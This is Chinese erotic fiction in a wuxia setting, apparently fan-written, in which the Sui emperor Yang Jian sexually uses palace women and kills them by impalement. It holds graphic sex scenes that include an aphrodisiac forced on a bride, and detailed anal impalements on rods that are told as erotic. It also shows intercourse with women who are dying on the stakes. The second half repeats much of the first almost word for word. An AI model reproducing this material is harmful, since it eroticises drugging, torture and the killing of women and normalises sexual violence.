    杨坚正快活的时候被人打扰,心情自然晴转多云,见流风倾月自荐枕席也不多话,大手一伸就将她的披肩扯了下来,另一手已然探入肚兜之中……


    虽然慕容烟霞的穿刺暂时停了,可其她六位美婢被穿刺的娇吟声,喘息声,依然伴着林中的风声,鸟鸣和衣裙撕裂的声响萦绕在素雅的花海之间。


    ……


    正午的阳光穿过郁郁葱葱的琼花树,将坐在婚床之上的流风倾月笼罩在圣洁的金色光柱之中。杨坚刚刚解去了她身上最后一件蔽体的肚兜,那双充血的淫欲之眼全集中在她赤裸裸的玉体上。细看流风倾月那具粉装玉琢的娇娜女体,杨坚不得不承认,流风倾月是他曾见过的女子中,最完美的人儿之一,犹胜慕容烟霞几分。 


    只见流风倾月不但体态婀娜,兼且肤光胜雪,一对玉峰,浑圆高耸,左右均匀,衬着胭红挺突的雪岭双珠,令人馋涎欲滴。更令杨坚情难自制的是随着流风倾月越来越急促的呼吸,那完美的乳峰不住幻出阵阵迷人的乳波,再看她那柔嫩艳红的秘处,两片玉唇,犹如仙桃般粉红娇艳,没有半点瑕疵。


    一声声醉人的娇喘声,不时从流风倾月的口中逸出,被杨坚逼着服下的害人春药,这时已在她的体内彻底爆发,原本凝脂赛雪的肌肤上,迷人的桃红色正不断扩张。


    被情欲之火烧灼的流风倾月,本能的想要扭动自己那婀娜迷人的身躯,却被杨坚牢牢的压在身下,丝毫动弹不得,而她胸前那对浑圆诱人的玉峰,也尽数落入杨坚的魔掌,被他弄得时圆时扁,形状百出。 


    再也不堪折磨的流风倾月终于向心中的恶人、昏君妥协,勉力扭动如蛇般光滑的纤腰,不停地扭摆顶挺,妄图将杨坚胯下的丑物纳入玉体之中。无奈杨坚久经风月,魔手在倾月的小腹上轻轻一按就粉碎了她的“肆意妄为”。


    可恶的杨坚慢条斯理的将验身的白绸垫在佳人臀下,方才轻薄的凝视着流风倾月两只水汪汪的星眸。他嘴角含笑,捧着她如仙似玉的俏脸,在她颊上吻了一下:“朕的小宫主,你想朕先宠幸何处啊?是前面的桃园还是臀间的雏菊呢?” 


    流风倾月知他存心戏弄,但此刻正是她新婚之日,初次为夫君侍寝的时候,可不是她卖弄宫主骄傲的良机,只得软语哀求:“臣妾身心皆为陛下所有,皇上想要如何,臣妾无不遵从。”


    杨坚闻言顿时龙颜大悦:“这可是爱妃你自己说的,不要到时又再反悔。” 


    话未说完,他便已撑身而起,跪在流风倾月的胯间。只见流风倾月的双腿早被杨坚左右分开,他一把握住自己粗大的凶器,把整个浑圆硕大的玉冠,狠命的磨拭着倾月娇嫩的花唇。待她那处子玉户因充血而自行开启时,杨坚立时采取主动,倏地将腰臀向前一挺,整个偌大的玉冠,登时撑开了秘处的门户。


    杨坚的玉冠初入桃园,便被流风倾月的处子花茎紧紧箍住,顿感浑身畅快无比,那里还记得身下的佳人尚未破瓜,他提起凶器便向倾月的花茎深处狠狠一戳,整根粗大的龙阳,立时粉碎了处女膜的抵抗,直抵她的花房深处。


    寂静的琼花林中顿时响起流风倾月痛楚之极的娇呼,连穿刺了一半的慕容烟霞都有些诧异的看向监刑台上极力挣扎的流风倾月。直到杨坚逐渐安抚了流风倾月的情绪,她才转首与一旁观刑的端木秀芸面面相觑,她们两个被杨坚破身时也是痛楚难耐,但哪有流风倾月这般夸张大叫的。


    且不提慕容烟霞和端木秀芸如何不解,由于杨坚一时得意忘形,弄得流风倾月痛不欲生,着实费了一番手脚才将身下的人儿安抚下来。虽然杨坚难得有耐性的待流风倾月适应了花茎的胀满,却也弄得他了无“性”趣。


    淡淡的在她耳边道了句:“验红。”杨坚旋即开始将染血的凶器从她的体内抽出。


    杨坚的凶器逐分逐寸的退出娇嫩的花茎,可流风倾月不停翕合颤抖的花房,却依依不舍的含箍着那粗壮的龙阳。随着杨坚的动作,丝丝嫣红的鲜血,沿着她腿侧蜿蜒而下,缓缓划过她白玉似的臀儿,最终将那洁白的绸帕染得一片殷红,教人瞧得如疯如狂。   


    新婚之日,查验落红,这是关系到新妇贞洁的绝顶大事,流风倾月即使贵为宫主也未能免俗,强忍着花茎的阵阵痛楚和是否落红的忐忑,她努力的将雪臀高高抬起,好让查验的杨坚看得真切。

杨坚平生最爱临幸处子,每到验红之时恰如农夫秋收,绝无半点懈怠,无论身下佳人如何国色天香,此时的杨坚只看凶器和白绫上是否带着点点贞血,丝丝殷红。


    直到杨坚得意洋洋的哈哈大笑,将那块沾满了流风倾月处子贞血的白绸铺在她的枕畔,这才让忐忑不安的宫主安下心来。


    当然,杨坚可没有如此好心,他跨座在流风倾月身上,把仍是昂首朝天,血迹斑斑的凶器,伸到倾月面前。流风倾月娇嗔的白了他一眼,但还是温顺地把樱桃小嘴大张,勉力将那贞血处处的丑物纳入口中,细细清洁……


    之后的数个时辰里,老夫少妻趁着新婚情浓之时大肆欢好,一连几度云雨缠绵,就是铁人也累坏了,这才甜甜蜜蜜的拥作一团,交股迭腿,休养生息,正是春光无限好的时候呢。 


    直到夕阳西下,归巢鸟儿的阵阵鸣叫才将熟睡的杨坚唤醒,光顾着采摘流风倾月红丸的老皇帝这才想起了被他穿刺了一半慕容烟霞,看着后庭插着半截穿刺杆却依然含笑跪伏在穿刺台上的慕容烟霞,杨坚不禁老脸一红,忙在美人儿的耳边说上几句甜腻腻的情话,一双魔手也在玲珑的女体上巡游起来,等到烟霞眉开眼笑了,杨坚才继续这耽误了许久的穿刺。


    总算杨坚经验丰富,很快找准了之前在慕容烟霞的窈窕女体里开辟出的那半条血肉模糊的通道,依然露在烟霞臀外的穿刺杆,才得以再次匀速向前推进。


    粗大的穿刺杆在身体里钻探前行的滋味,自然是痛苦无比,即使像慕容烟霞这般的女中豪杰,也难免香汗淋漓,黛眉紧皱。一旁观刑的端木秀芸感同身受,不时怜惜的用手巾拭去烟霞额上的汗珠,低声安慰道:“快好了,快好了,再忍忍……”


    幸好穿刺先前已经完成大半,现在不过收尾而已。花了些时间钻透胃壁以后,穿刺杆就顺着食道快速前进……小半个时辰后,随着慕容烟霞难以自制的颤栗,犹自带着丝丝血迹的穿刺杆终于从她的樱桃小嘴里缓缓伸出,那染血的锋利尖端,标志着又一次穿刺的完美成功。


    等候多时的端木秀芸忙指挥数名宫女拥着纤弱无力的慕容烟霞入帐坐桩,静心待死。而杨坚则继续在流风倾月的前庭后窍里发泄着穿刺慕容烟霞时被勾起的熊熊欲火。


    ……


    次日。夜,新月如勾高悬于天际。


    凄冷的月光透过层层琼花的缝隙柔柔的印在林中星罗棋布的白色纱帐中,其中之一便是公孙绺云坐桩待死的月白纱帐。


    穿刺后端坐等死的数天时间是极端痛苦而无聊的,就像现在被串在穿刺杆上的公孙绺云,便只能赤裸着身子昂首跪坐在帐中,口不能言,头不能动,由于穿刺杆压迫着颈中的气管,连呼吸都有些困难,口鼻并用的吸气、呼气声伴随着牵动体内伤口的阵痛,一次又一次的考验着公孙绺云的意志。


    “节妇、贞女的称号可不是仅仅付出性命就能得到的。”这句话是玉长老林黛玉被穿刺时说的。可笑的是,当她很不屑的把话说完,她的伶牙俐齿就被从口中伸出的穿刺杆永远堵住了。这位公孙绺云的老对头,足足坚持了五天时间,居然还没断气,现在公孙绺云仍能听到不远处她愈来愈急促的呼吸声。


    由于受刑较晚的缘故,公孙绺云对此时的痛苦多少有些心里准备,她默念静心咒,尽量放缓自己呼吸的频率,耐心的等待着死神的降临。


    不知不觉,明月已正悬于夜空,如水的月华透过薄薄的纱帐将昂首跪坐的公孙绺云笼罩在淡蓝色的光晕中。可犹如女神般端庄优雅的公孙绺云却开始有些心不在焉,一双凤目不停的左顾右盼,似乎期待着什么,而不远处隐隐传来的脚步声和细语声无疑令她神采焕发,连身子也不由自主的围绕着体内穿刺杆蠕动起来。


    片刻后,随着公孙绺云眼角上滑落的泪珠,杨坚的魔手缓缓的攀上了她的右峰,大嘴则将整座左峰的一半含在了口中疯狂的吸允舔舐着。


    苦候了杨坚大半夜的公孙绺云顿时忘了身上的痛楚,一双玉臂将杨坚的身子紧紧的揽入怀中,似乎暗示着杨坚更加粗暴的宠爱她的身体,宠爱她的一切!


    在端木秀芸的帮助下,公孙绺云暂时摆脱了跪坐的姿势,她将一条腿搭在木几上,上身微微后仰,靠在端木秀芸绵软的身上,圆润丰满的臀儿向前轻轻翘起,把她白皙粉嫩的桃园密处尽数呈现在杨坚的面前。


    一手握住公孙绺云纤细的腰肢,另一只手扶着自己的凶器,杨坚胯下那硕大的玉冠熟练的撑开两片娇嫩的花瓣迅速没入花茎之中。此时的杨坚十分体谅公孙绺云的柔弱,欢好时轻入缓出,极为温柔体贴,可即使他再小心翼翼,公孙绺云承幸时仍然不时的微皱柳眉,大约是杨坚的动作触动了她体内的伤处所致,可她的脸上却一直带着满足的笑意。


    ……


    公孙绺云纱帐里的男欢女爱,在幽静的琼花林中自然是响彻四方,让不少串在穿刺杆上的佳丽们面红耳赤起来。同样被穿刺杆贯穿玉体的慕容烟霞却是满心欢喜,因为杨坚刚传音过来,待会就来找她。


    ……


    琼花林,穿刺刑场。


    “两只双手支住地面,对,这样,仰着脖子伸直了,如果你不想朕的穿刺杆从你美丽的脖子里捅出来的话。腰部稍微往上一点,好,就保持这个姿势别动。”对极喜穿刺美人的杨坚来说,每位美人儿的身体都不一样,所以每一次穿刺都是新鲜的尝试,而杨坚所追求的则是每一次的穿刺都能完美的成功。


    已经被杨坚除去全身衣物的端木秀芸,温顺的跪伏在穿刺台上,完全按照刽子手杨坚才吩咐不敢擅动,而杨坚则乐呵呵的右手提着穿刺杆,左手灵巧的分开端木秀芸浑圆白皙的臀瓣,开始将穿刺杆锋利的尖端插进那粉嫩的菊门。


    感觉到一根冰冷而粗大的东西侵入,端木秀芸下意识的收紧后庭,那根东西立刻被软肉紧紧裹住。


“小傻瓜,这个可不是朕的龙阳,是穿刺杆,不要夹。”杨坚坏笑着在端木秀芸的雪臀上轻轻拍了一掌。


羞得满面红霞的端木秀芸无奈的将后庭花儿彻底放松,让自己选中的蔷薇穿刺杆能顺利的向前挺进!随着穿刺杆的逐渐深入,粗大的金属杆身将她小巧的后庭花撑得足足有鹅蛋大小!后庭里冰凉刺骨、胀满难耐之余,便是一阵又一阵的刺痛顺着穿刺杆开辟出来的血肉甬道传遍她的全身上下。


    很快,那锋利的穿刺杆儿就深入了六寸有余,这时受刑的端木秀芸却突然回首向着杨坚身后喝道:“何方鼠辈在旁窥伺!”


    正醉心于穿刺美女的杨坚被端木秀芸的喝声所惊醒,暗怪自己太过大意,忙示意端木秀芸起身护驾。


    看似柔弱的端木秀芸这时终于展现出她侠女的风范,右手向身后一探,就将深入她后庭六寸多的穿刺杆拔了出来,雪白婀娜的身子微不可查的停顿一下,便将手中的穿刺杆指向杨坚右后方的一株琼花树。


    “呵呵……”一声犹如百灵鸟鸣叫的笑声从树后传出,随后便显出一位倾国倾城的美貌佳人,“飘渺宫执事南宫雨夣参见大隋天朝皇帝陛下。”


    杨坚见这不速之客不但是位绝色佳人,还大礼参见,显然知道自己的身份,顿时忘了什么叫来意未明,几步便窜到美人儿的身前,将她轻轻扶起,只见这南宫雨夣身着一条藕荷色的轻纱覆盖纯白纱裙,使她看来清雅而不奢华,风姿飘逸却又不夺人光彩,正是这份恰到好处的美丽深深的吸引了杨坚的目光,不禁将佳人的玉手拉入掌中,肆无忌惮的细细把玩起来。


    这边握着穿刺杆随时准备拼杀的端木秀芸也放松下来,虽然因为她飘渺仙子的称号犯了飘渺宫的忌讳,两方常有点摩擦,今天赤身露体的模样,被南宫雨夣看见终是不雅,但总比自己的身子被其他男人瞧见要强上千倍,至少贞洁得保,而且有杨坚这等催花圣手在,估计南宫雨夣、甚至是整个飘渺宫也迟早……不!是一定会交代在这穿刺台上。


    想到此节,端木秀芸霎时有了主意,也不穿衣裙了,居然又重新跪伏在穿刺台上,娇声唤道:“陛下,臣妾穿刺未成,明日定被倾月取笑,还请陛下怜爱,继续行刑才是。”


    这边正大肆轻薄南宫雨夣的杨坚不禁犹豫起来。一边是尚未到手的佳人,一边是等待穿刺的爱妃,鱼与熊掌具在眼前,奈何不能兼得啊!


    就在杨坚左右为难的时候,南宫雨夣却是不敌杨坚的无赖,俏脸儿又羞又恼,终于趁杨坚迟疑的机会,将玉手解脱出来,扔了一封书信在地上便落荒而逃了。


    杨坚见佳人害羞跑了却也不恼,笑呵呵的将信捡起。这书信简单直白到了极点,不过“扫榻以待,信使为礼。”八个字而已,但这对杨坚而言却是天大的好消息啊。


    端木秀芸见杨坚这般高兴,多少也猜到了书信的内容,不过她死期以至那里还在乎飘渺宫是何结局,多半与自己一样,都是被穿刺处死陪葬皇陵的祭品罢了。


    正有点哀怨的时候呢,那冰冷的穿刺杆儿就又一次的闯进了她后庭……


    和刚才不同的是,这次杨坚有意放缓了穿刺的速度,让端木秀芸能有充分的时间好好品尝穿刺杆慢慢穿透她身体的那种难以言喻的奇妙感觉。


    而对被杨坚穿刺的端木秀芸来说,现在她还活着的意义只在于让杨坚能尽情的欣赏她在穿刺杆上蠕动、挣扎的凄美,至于她年轻美好的生命其实在穿刺开始的时候就已经结束了。


穿刺杆在刺破了端木秀芸的胃后钻进她的食道里,弄得她喉咙痒痒的,却怎么也说不出话来。杨坚估算了下长度,便轻轻托起秀芸尖尖的下巴,同时穿刺杆温柔的向前一推,锋利且闪着寒光的尖端便从端木秀芸娇艳的两片红唇之间露出来,继续前进了一尺左右方才停下。


    又一次完成穿刺的成就感令杨坚的心情分外的愉悦,当下抱着端木秀芸来到为她准备的纱帐里。先在秀芸浑圆的雪臀上拍了一下,杨坚才把穿刺杆竖起来插进木几的圆孔里。由于留在端木秀芸臀外的穿刺杆还有好长一截,杨坚不得不抓住她的柳腰,将她的身体向下拉扯——看着端木秀芸峰峦起伏的曼妙玉体围绕着穿刺杆蠕动颤抖,两条修长雪白的美腿凌空曲伸踢蹬,这场面实在充满了致命的诱惑!


    ……


    晨曦,琼花林中。


    树影婆娑,鸟鸣阵阵,“嘤嘤”之声如同佳人拨动琴弦一般悦耳。


    被杨坚弄醒的流风倾月懒洋洋地伸着拦腰,曼妙的腰肢显得纤细而匀称,白皙的肌肤如雪一般晃着眼睛。她身上除了一袭透明的轻纱之外再无它物,骄傲隆起的雪峰和峰顶诱人的两点嫣红尽入杨坚眼中。


    依然迷迷糊糊的流风倾月小手掩住了嘴儿,娇憨的打了个呵欠,朦胧的眼睛带着慵懒的睡意,那醉人的双颊泛着薄薄的晕红,在晨光之中,仿佛是仙子一般,让杨坚一时间看得呆住了,享受着她惊心动魄的美丽。


    感受到男人的视线,知道他的目光正落在自己的身上,流风倾月娇羞无限,双颊晕红生春,脆生生地白了他一眼,嗔道:“不许偷看!”


    杨坚毫不在意的微微一笑,很自然地将她拉到了怀中,一手围着她的娇躯,一手抚着她的发丝,一双色眼,目不交睫地瞧着她迷人的脸庞,胯下的凶器,登时硬挺如铁。 


流风倾月立时查觉了他的变化,怯怯的低声望着他道:“陛下……臣妾……”


杨坚充耳不闻,只是盯着她的俏脸却什么都没有说。


流风倾月无奈的轻声道:“臣妾愿为陛下侍寝。”说着用小手轻轻牵引着它:“进来吧。” 


此话一落,流风倾月便觉得玉门给杨坚慢慢逼开,接着那像火焰一般炽热的硕大凶器便一寸寸望里深进,把她紧紧闭合的花茎全然填满。依然感觉有些胀痛的流风倾月勉力配合着杨坚的动作,一双凤目则情深款款的望着这个夺去她贞操的老皇帝,一股血肉相连生死与共的幸福感觉莫名自她心底涌现,心想若是为他殉节而死,也算死而无憾了。 


杨坚一双的色眼,同样没有离开过她,见流风倾月娇喘绵绵,犹如燕语莺啼,秋波频盻,着实美极了。

如此一弄,足足有半个时辰,一边兴云布雨,一边采啜功力,把个流风倾月弄得四肢绵软,全身发热。杨坚也觉适可而止,不忍过甚,当即靠下身躯,把流风倾月拥在怀中,交股相拥,稍作休息。


    流风倾月悠悠张开美目,微不可查的瞥了一眼床头架着的琼花穿刺杆,低声道:“陛下可是要穿刺臣妾?臣妾这就遣人准备。”


    “不,倾月暂时随侍在朕的身边吧,朕昨夜收到了飘渺宫的邀请信呢,待朕寻得那信使便可出发。”


    ……













云霞再绽










    月朗星稀之夜,阵阵温风习习而来。有着沉鱼落雁美称的飘渺宫宫主云清掩月俏立窗前秀眉微蹙毫无倦意。五胡乱华时代出逃海外的有近百万五胡权贵和裹挟而走的无数汉人百姓,绵延二百余年的乱世让他们在域外的七海之中建立了无数势力,但经过隋朝水师二十年的全力扫荡,只有那些最飘渺神秘、与世无争的女子门派才能得以幸存,其中最为神秘的当属“二殿五宫七仙岛”。在这茫茫的东海深处,名号为南华月宫的月宫和飘渺宫的南宫相距最近,同为五宫之列。


    飘渺宫宫主云清掩月得到消息,探作禀报大隋皇帝杨坚居然驾临月宫已盘桓近月,杨坚还下了一道圣旨将整个月宫的佳丽们尽数纳入后宫。因自己的名号云清掩月与月宫和宫主流风倾月相冲,两宫间常有些小小的摩擦发生,但还算相安无事。月宫与飘渺宫因此间隙甚少往来,因月宫疏于防范这几次探作得来的消息极为确切,探知月宫中的女子被杨坚临幸采啜元阴和功力后都被穿刺处死后陪葬皇陵。月宫的几大长老已被穿刺处死,月宫女子已十去其八,整个月宫在几日内便将彻底覆灭。


    能得到一个光明正大的名分是她们所梦寐以求的,即使是穿刺处死陪葬皇陵,那也比在这孤岛消磨青春枯守孤灯强百倍。因此,无论南月华宫的月宫宫主流风倾月,还是月宫十大长老之一的彩霞剑慕容烟霞,都是功力深厚武艺超群,月宫中的女子个个冰清玉洁千娇百媚都有着一身的好功夫。但月宫上下完全顺服没有一点反抗,这便是明确的证明。


    思衬再三,飘渺宫宫主云清掩月终于拿定主意,她最终与十大长老和全宫上下的意见达成了一致。执事南宫雨夣昨天带着她亲手书写的信笺出发了,她要亲自面交皇帝杨坚。这封信笺的内容简单直白到了极点,不过是“扫榻以待,信使为礼。”八个字而已。算来执事南宫的雨夣今日便应该回宫复命了,可不知道为什么却直到今夜午时仍未见她的身影,难道是发生了什么意外?


    飘渺宫招收女弟子的苛刻与南华月宫相比有过之而无不及,自然是美女如云个个冰清玉洁千娇百媚,而且都有着不错的内功。对皇帝杨坚这般老色魔而言,主动送上门来秀色可餐的美色,色迷心窍的他岂肯放过?肯定会与月宫一样一道圣旨将整个南宫的佳丽尽数纳入后宫之中。虽然可以肯定这会是板上钉钉的事实,但雨夣的迟归却使云清掩月不禁芳心难安。这次派去送信的飘渺宫执事南宫雨夣更是一位倾国倾城的美貌佳人,皇帝杨坚见到她不会不动心的。雨夣内功精湛武功高深行事干练,送信这件差事对她来说可谓是举手之劳,可是她为何迟迟未归呢?


    飘渺宫宫主云清掩月并不知道她派去送信的执事南宫雨夣在偷偷登临月宫后很快便找到了皇帝杨坚的踪迹,可是第一次亲眼目睹皇帝杨坚制住月宫女子的四肢玉体肆意把玩亵弄,直至她们贞操被毁落红片片,那香艳的场景使未经人事的她不禁面红耳赤玉体酥软春心难耐。月宫之内都是绝色女子,那皇帝杨坚更是楼台亭榭随处宣淫,在月宫女子临幸之时她的确不便现身相见,以致迟迟不能把信呈送给皇帝杨坚。看到那皇帝杨坚一直都在忙于狎昵玩弄月宫女子,雨夣一路相随却苦无良机,最后依仗着自己内功深厚武艺精湛,她居然孤身暗中跟踪着皇帝一直潜入到月宫禁地琼花林。要不是月宫上下的女子十之八九贞操被毁已被穿刺处死以致往日森严的防卫荡然无存,她也难以做到不被发现。


    琼花林是月宫安葬门人弟子之处,立宫百余年来这里埋葬了无数绝代红颜。佳人的青冢配上琼花的淡雅,正是相得益彰。此时那里已成为慷慨赴死的月宫佳丽们接受穿刺的刑场,而南华月宫的宫主流风倾月更将自己献身杨坚的洞房也设在了此处。雨夣意外发现同在五宫之列的霓霞宫北宫长老飘渺仙子端木秀芸竟然同等待穿刺的月宫女弟子们在一起,看她的神态居然要一起被皇帝杨坚穿刺。端木秀芸的名号飘渺仙子正犯了飘渺宫的忌讳,两方常会有点摩擦,但今天她那赤身露体的模样被南宫雨夣看在眼中终是不雅。看来那飘渺仙子端木秀芸的贞洁已毁在那皇帝杨坚的手中了。


    雨夣知道那飘渺仙子端木秀芸酷爱音律,与南华月宫现任的宫主流风倾月情同姐妹,往来很是频繁。不知道她有什么事情来到月宫,想到她师傅的四十岁寿辰快到了,一定是借琴,月宫的镇宫至宝七炫月韵琴,她肯定想借琴演奏一曲来为师傅助兴。可端木秀芸时运不济,恰好给皇帝杨坚给逮到了。端木秀芸黛眉清细身姿婀娜,美眸顾盼之间气度雍容华贵。她雪肤粉嫩,青丝黑亮,自然地垂到了浑圆的臀部。精致的脸庞,月牙儿一般的双眼,一双灵眸深邃,有若明镜幽湖,明艳照人,曼妙身段凹凸有致,小蛮腰盈盈似不堪一握,玉颈修美白皙,肌肤似雪,神态妩媚,恍若神人。 即使同为女子,雨夣都被她的气度所折服,皇帝杨坚见到她又怎会放过?


    明月高悬,凄冷的月光透过层层琼花的缝隙柔柔的印在林中星罗棋布的白色纱帐中。一些女官宫娥正穿梭其中往来巡视,不时从帐中抬出一具串在穿刺杆上赤裸着身子没有了气息的女子,她会被放入龙舟之中的冰库中冷冻防腐,最后运回中原陪葬皇陵。雨夣发现每个白色纱帐都安放着或十个或八个数量不等被串在穿刺杆上赤裸着身子昂首跪坐的妙龄女子,她们都还活着,只是口不能言头不能动,由于穿刺杆压迫着颈中的气管,连呼吸都有些困难。随着口鼻并用的吸气、呼气声伴随着由此牵动体内伤口所引起的阵痛,一次又一次的考验着她们的意志。在其中的一个月白纱帐内,雨夣看到了坐桩待死的云长老公孙绺云。相距不远的另外两个纯白的纱帐内,是玉长老林黛玉和霞长老彩霞剑慕容烟霞。



    玉长老林黛玉闭目不睁神情委顿看来已经坚持了几天时间,雨夣能清晰地听到她愈来愈急促的呼吸声,看来她离断气已为时不远。云长老公孙绺云受刑较晚,她还挺有精神,赤裸的身子围绕着体内的穿刺杆在轻轻蠕动。公孙绺云对于此时的痛苦应该有些心里准备,她的神态还算平静,她在尽量放缓自己呼吸的频率,耐心的等待着死神的降临。明月悬于夜空,如水的月华透过薄薄的纱帐将昂首跪坐的公孙绺云笼罩在淡蓝色的光晕中,犹如女神般端庄优雅。


    公孙绺云却开始有些心不在焉,一双凤目不停的左顾右盼,似乎期待着什么,而不远处隐隐传来的脚步声和细语声无疑令她神采焕发。隐身琼林的雨夣赶紧缩起了身子,她看到皇帝杨坚走进了公孙绺云的纱帐,在他身后是全身赤裸一丝不挂的端木秀芸。公孙绺云已经被穿刺等死了,他还要临幸她吗?雨夣俊脸不禁一阵飘红。


    似乎是为了印证雨夣的判断,随着公孙绺云眼角上滑落的泪珠,杨坚的魔手已缓缓的攀上了她的右峰,贪婪的大嘴则将整座左峰的一小半含在了口中疯狂的吸允舔舐着。公孙绺云顿时忘了身上的痛楚,一双玉臂将杨坚的身子紧紧的揽入怀中,似乎暗示着杨坚更加粗暴的宠爱她的身体,宠爱她的一切! 


    在端木秀芸的帮助下,公孙绺云暂时摆脱了跪坐的姿势,她将一条腿搭在木几上,上身微微后仰,靠在端木秀芸绵软的身上,圆润丰满的臀儿向前轻轻翘起,把她白皙粉嫩的桃园密处尽数呈现在杨坚的面前。

    一手握住公孙绺云纤细的腰肢,另一只手扶着自己的凶器,杨坚胯下那硕大的玉冠熟练的撑开两片娇嫩的花瓣迅速没入花茎之中。此时的杨坚十分体谅公孙绺云的柔弱,欢好时轻入缓出,极为温柔体贴,可即使他再小心翼翼,公孙绺云在承幸时仍然不时的微皱柳眉,大约是杨坚的动作触动了她体内的伤处所致,可她的脸上却一直带着满足的笑意。


    这香艳诡异的一幕简直把雨夣给看痴了。已被从后庭穿刺的公孙绺云居然还能承欢!公孙绺云纱帐里的男欢女爱在幽静的琼花林中自然是响彻四方,这让不少仍串在穿刺杆上的佳丽们听到后不禁面红耳赤起来。这杨坚却兴犹未尽,玩腻了云长老公孙绺云后让她恢复了赤裸着身子昂首跪坐在帐中的原样,起身径奔刚刚亲手穿刺完成未久的彩霞剑慕容烟霞。她那震惊东海的曼妙惹火的婀娜娇躯完全赤裸着,昂首跪坐在帐中,闪着寒光的穿刺杆尖端从娇艳的两片红唇之间露出来一尺左右,曼妙玉体围绕着穿刺杆蠕动颤抖。慕容烟霞挺着那高耸骄傲的双峰,盈盈一握地柳腰,丰腴浑圆的雪臀,修长白皙的玉腿,每一处都散发着致命的媚力。两簇嫣红的牡丹花蕾随着她的呼吸在微微地起伏着,而在她雪白臂膀上曾有过骄傲的展示着她冰清玉洁的守宫朱砂已不见了踪影。


    雨夣的呼吸变得更加急促,她不敢再看那香艳淫靡的场景微微吐了吐丁香玉舌。雨夣感到自己的脸面烫烫的,知道此时一定是红晕满面。


    雨夣悄悄摸到了琼花林间的穿刺刑场,她看到那一排待用的穿刺杆的制作精美华丽不禁怦然心动。几位穿刺完毕的月宫女弟子整整齐齐的摆成一排,全部都翘起臀儿像小狗般伏趴在由琼花花瓣铺就的花毯上。那是月宫中最后完成穿刺的几位女弟子,随着一阵柔风从琼花林中拂过,温柔的春风摇落了无数洁白的琼花,将跪伏在穿刺台上的几位佳人遮得若隐若现,但从花雨中泄出的每一寸春光都分外撩动心弦。几个宫女正在小心翼翼地把她们移送到帐中,宫中女官的穿刺技术已是驾轻就熟,这几天把她们累得不轻。除了月宫宫主流云倾月和前来做客的逍遥仙子端木秀芸,月宫中千娇百媚的数百女弟子包括十大长老已全部交代在了穿刺台上。兼职行刑的刽子手杨坚穿刺过不少美女,月宫十大长老的穿刺都是出自他手。对极喜穿刺美人的杨坚来说,每位美人儿的身体都不一样,所以每一次穿刺都是新鲜的尝试,而杨坚所追求的则是每一次的穿刺都能完美的成功。 

     “两只手支住地面,对,这样,仰着脖子伸直了,如果你不想朕的穿刺杆从你美丽的脖子里捅出来的话。腰部稍微往上一点,好,就保持这个姿势别动。”


    皇帝杨坚的声音使雨夣不由一惊,她发现早已经被杨坚除去全身衣物的飘渺仙子端木秀芸正温顺的跪伏在穿刺台上,完全按照刽子手杨坚的吩咐不敢擅动,而杨坚则乐呵呵的右手提着穿刺杆,左手灵巧的分开端木秀芸浑圆白皙的臀瓣,开始将穿刺杆锋利的尖端插进那粉嫩的菊门。看到杨坚要穿刺端木秀芸了,雨夣不由睁大了眼睛。


    飘渺仙子端木秀芸选择的是一根雕刻着蔷薇花图案穿刺杆,事到临头也许是因为紧张的缘故,端木秀芸下意识的收紧了后庭,那穿刺杆立刻被后庭的软肉紧紧裹住。连雨夣都看得出那杨坚还算怜香惜玉,若是强行推入必将会撕裂后庭的菊花,徒增端木秀芸的痛苦。


    “小傻瓜,这个可不是朕的龙阳,是穿刺杆,不要夹。”杨坚坏笑着在端木秀芸的雪臀上轻轻拍了一掌。 


羞得满面红霞的端木秀芸无奈的将后庭花儿彻底放松,让自己选中的蔷薇穿刺杆能顺利的向前挺进。随着穿刺杆的逐渐深入,粗大的金属杆身将她小巧的后庭花撑得足足有鹅蛋大小。后庭里面冰凉刺骨、胀满难耐之余,便是一阵又一阵的刺痛顺着穿刺杆开辟出来的血肉甬道传遍她的全身上下。 


    很快,那锋利的穿刺杆儿就深入了六寸有余,这时受刑的端木秀芸却突然回首向着杨坚身后喝道:“何方鼠辈在旁窥伺!” 


    雨夣不由暗赞了一声。适才自己过于专注一时未能屏住呼吸,竟然会被正在接受穿刺的端木秀芸察觉。


    正醉心于穿刺美女的杨坚也被端木秀芸的喝声所惊醒,他暗怪自己太过大意,忙示意端木秀芸起身护驾。 

    看似柔弱的端木秀芸这时终于展现出她侠女的风范,右手向身后一探,就将深入她后庭六寸多的穿刺杆拔了出来,雪白婀娜的身子微不可察的停顿一下,便将手中的穿刺杆指向杨坚右后方的一株琼花树。这正是雨夣的隐身之处。 

    “呵呵……”一声犹如百灵鸟鸣叫的笑声从树后传出,随后便显出一位倾国倾城的美貌佳人,“飘渺宫执事南宫雨夣参见大隋天朝皇帝陛下。”身形已露,雨夣不得不现身了。


    杨坚见这不速之客不但是位绝色佳人,还大礼参见,显然知道自己的身份,顿时忘了什么叫来意未明,几步便窜到美人儿的身前,将她轻轻扶起,只见这南宫雨夣身着一条藕荷色的轻纱覆盖纯白纱裙,使她看来清雅而不奢华,风姿飘逸却又不夺人光彩,正是这份恰到好处的美丽深深的吸引了杨坚的目光,不禁将佳人的玉手拉入掌中,肆无忌惮的细细把玩起来。 

    这边握着穿刺杆随时准备拼杀的端木秀芸也放松下来,虽然因为她飘渺仙子的称号犯了飘渺宫的忌讳,两方常有点摩擦,几次交手她还略占上风。今天赤身露体的模样被南宫雨夣看见终是不雅,但总比自己的身子被其他男人瞧见要强上千倍,至少贞洁可以得保,而且有杨坚这等催花圣手在,估计南宫雨夣、甚至是整个飘渺宫也迟早……不!是一定会交代在这穿刺台上。

    想到此节,端木秀芸霎时有了主意,她居然又重新跪伏在穿刺台上,娇声唤道:“陛下,臣妾穿刺未成,明日定被倾月取笑,还请陛下怜爱,继续行刑才是。”


    这边正大肆轻薄南宫雨夣的杨坚不禁犹豫起来。一边是尚未到手的佳人,一边是等待穿刺的爱妃,鱼与熊掌具在眼前,奈何不能兼得啊!


    就在杨坚左右为难的时候,南宫雨夣虽春心难耐却是不敌杨坚的无赖,她的俏脸儿又羞又恼,终于趁杨坚迟疑的机会将玉手解脱出来,扔了一封书信在地上便落荒而逃了。 


    杨坚见佳人害羞跑了却也不恼,笑呵呵的将信捡起。这书信简单直白到了极点,不过“扫榻以待,信使为礼。”八个字而已,但这对杨坚而言却是天大的好消息啊。

    端木秀芸见杨坚这般高兴,多少也猜到了书信的内容,不过她死期以至那里还会在乎飘渺宫是何结局。多半与自己一样,都是成为被穿刺处死陪葬皇陵的祭品罢了。


    正有点哀怨的时候,那冰冷的穿刺杆儿又一次的闯进了她后庭……

